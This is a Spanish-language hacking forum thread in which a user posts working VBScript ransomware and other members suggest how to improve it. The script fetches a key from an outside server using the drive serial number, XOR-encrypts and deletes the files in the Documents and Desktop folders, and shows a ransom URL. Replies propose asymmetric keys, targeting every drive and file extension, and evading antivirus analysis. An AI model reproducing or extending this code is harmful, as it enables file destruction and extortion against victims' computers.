Codigo De Ransomware en VBScript por Flamer

Iniciado por Flamer, 28 Noviembre 2016, 20:18 PM

0 Miembros y 1 Visitante están viendo este tema.

Flamer

Hola amigos aqui con un pequeño código que se me ocurrió hace unos días como cuando no hay nada que hacer y solo te vienen ideas de como joder mas al mundo jajajaja

Y me bino ala mente de crear un código en VBScript(ya que me gusta mas por su dificultad de detección por los AV) tipo ransomware

bueno así que ni mas ni menos aquí el código


Código (vb) [Seleccionar]

option explicit
dim shell,fso,document,f,password,desktop,id

set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")

document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")

set f = fso.getfolder(document)
id = f.drive.serialnumber

password = Contrasena(id)

cifrar(document)
cifrar(desktop)

msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado"

function Contrasena(id)
  dim objhttp
  Set objhttp = createobject("Microsoft.XmlHttp")
 
  objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
  objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  objhttp.send "id=" & id

  Contrasena = objhttp.responsetext
end function

function cifrar(ruta)
   dim carpeta,listfiles,listfolders,f
   
   set carpeta = fso.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
   
   for each f in listfiles
      archivo(f.path)
   next

   for each f in listfolders
      cifrar(f.path)
   next   
end function

function archivo(path)
   dim file,largo,i,f,b,p,n
   
   set file = fso.getfile(path)

   largo=file.size

   set f = file.OpenAsTextStream()
   redim bytes(largo)
   
   n = 1
   
   for i=0 to largo - 1
      if n = len(password) then
     n = 1
  else
         n = n + 1  
      end if  
  p = asc(mid(password,n,1))
      b = asc(f.read(1)) xor p
  bytes(i) = chr(b)
   next

   f.close 
   
   set f = fso.createtextfile(file.path & ".crypt")

   for n = 0 to i - 1
      f.write(bytes(n))
   next

   f.close
   file.delete
end function




saludos Flamer

engel lex

no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)

por otro lado la contraseña debe crearse en el server por practicidad
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Flamer

#2
Cita de: engel lex en 29 Noviembre 2016, 01:16 AM
no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)

por otro lado la contraseña debe crearse en el server por practicidad

en vbs hasta donde yo se no se pueden leer archivos binarios

y lo de la password no se por que en el servidor, ya que la clave es aleatoria

y si te refieres a eso de analizar los paquetes, si verán cuando envía la clave al servidor, pero si la recibe de el creo que también la verán no crees

saludos flamer

------------------EDITO------------
ya se leer binario en vbs, encontré un código en google, creo que corregiré el codigo

engel lex

bueno, lo que pasa es que normalmente se usa cifrado asimetrico, así que no importa que vean la clave de cifrado, pero el par de la clave se genera en el servidor y ninguna la pc lo sabe
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Flamer

Actualizado el código ya no hace uso del winrar y la desventaja sigue siendo que ocupa internet en la pc victima.

esa desventaja se pude arreglar pero no quiero que al analizar el ransomware vean la generación de la clave

saludos Flamer y me falta una encriptacion asimetrica mientras sera via http

engel lex

el ransomware puede tener una llave asimetrica estatica, eso no es problema, por lo menos no mientras no infecte a un punto que las compañias de AV decidan gastar dinero en romper tu clave XD
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

XKC

Parece bastante interesante este tema, y viendo tu codigo veo que haces algo asi:

cifrar(document)
cifrar(desktop)

¿No seria tambien recomendable cifrar todos los discos (c, D, etc.. incluso si pillas algun pendrive o demás)?, y como va a ser muy lento crear un array con una lista de directorios a excluir(los directorios que no guarden informacion del usuario) y asi aumentarias el numero de archivos infectados.
PD: ¿En windows cuales son los directorios no utiles?, es decir, los que no guardan info de usuario.¿Serian estos?¿Alguno mas?

  • C:\Program Files
  • C:\Program Files(x86)
  • C:\Windows
Saludos.
Para poder atacar y vencer con seguridad, ataca donde ellos no puedan defenderse.
Para defenderte y resistir firme, defiéndete en donde ellos no atacarán.

Flamer

hola XKC si ciframos los archivos de la carpeta windows y program files creo que dejaremos el sistema dañado y ese no es el objetivo del ransomware, si no es de que te paguen por el rescate de los archivos importantes del usuario y estos suelen guardarse en las carpetas de mis documentos y el escritorio.

pero creo que seria mejor modificar el código y que busque los archivos por extensión, pero creo que saldría algún inteligente y remplazaría las extensiones por otras inventadas así el ransomware no encriptaria nada....pero en fin estoy divagando

saludos Flamer y aparte esas carpetas que mencionas piden permisos, lo que si estaría bien es que encripte las unidades conectadas tambien

XKC

Cita de: Flamer en  9 Enero 2017, 04:17 AM
hola XKC si ciframos los archivos de la carpeta windows y program files creo que dejaremos el sistema dañado y ese no es el objetivo del ransomware, si no es de que te paguen por el rescate de los archivos importantes del usuario y estos suelen guardarse en las carpetas de mis documentos y el escritorio.

pero creo que seria mejor modificar el código y que busque los archivos por extensión, pero creo que saldría algún inteligente y remplazaría las extensiones por otras inventadas así el ransomware no encriptaria nada....pero en fin estoy divagando

saludos Flamer y aparte esas carpetas que mencionas piden permisos, lo que si estaría bien es que encripte las unidades conectadas tambien
No me has entendido bien, yo lo que queria decir es:
Usas un filtro para las estensiones cogiendo las utiles:

  • .zip
  • .doc
  • .txt
  • .pdf
  • etc...
Pero despues a parte, si por ejemplo tu a la funcion cifrar(que es recursiva) le pasas el parametro Desktop, solo cifrara lo que tenga el usuario en eses directorio y sus respectivos subdirectorios.Por ejemplo en este caso, solo afectaria a ese usuario, y si guarda las cosas en el disco D:\ y usa accesos directos, o las guarda en C:\, o que no todo lo tenga en esos directorios, ahi el ramsomware fallaria.
Entonces la cosa seria listar todos los discos del ordenador(C:\, D:\, E:\, etc..) y con un bucle ir llamandolos a todos respectivamente. Como ya has filtrado por extensiones no creo que corras el riesgo de dejar inutil el sistema operativo.
Aun asi tiene s el problema de que todo el ordenador(sobre todo donde esta instalado el SO es muy grande y quizas tarde mucho en recorrerlo todo), para ello he pensado que se podrian excluir algunos directorios y subdirectorios tal que asi:

  • Creas un array global que almacene dominios no validos(1)
  • En la funcion cifrar si la ruta actual es igual a laguno de esos dominios le haces un return, para que pare y no busque mas ahi
Asi de esta manera no anda buscando nada en directorios que no va a encontrar nada, es decir, lo optimizamos para que tarde menos.
No se si es buena ida hacer esto, de todas maneras si fuera asi ¿que directorios excluiriais vosotros?:

  • C:\Program Files
  • C:\Program Files(x86)
  • C:\Windows
Saludos.
Para poder atacar y vencer con seguridad, ataca donde ellos no puedan defenderse.
Para defenderte y resistir firme, defiéndete en donde ellos no atacarán.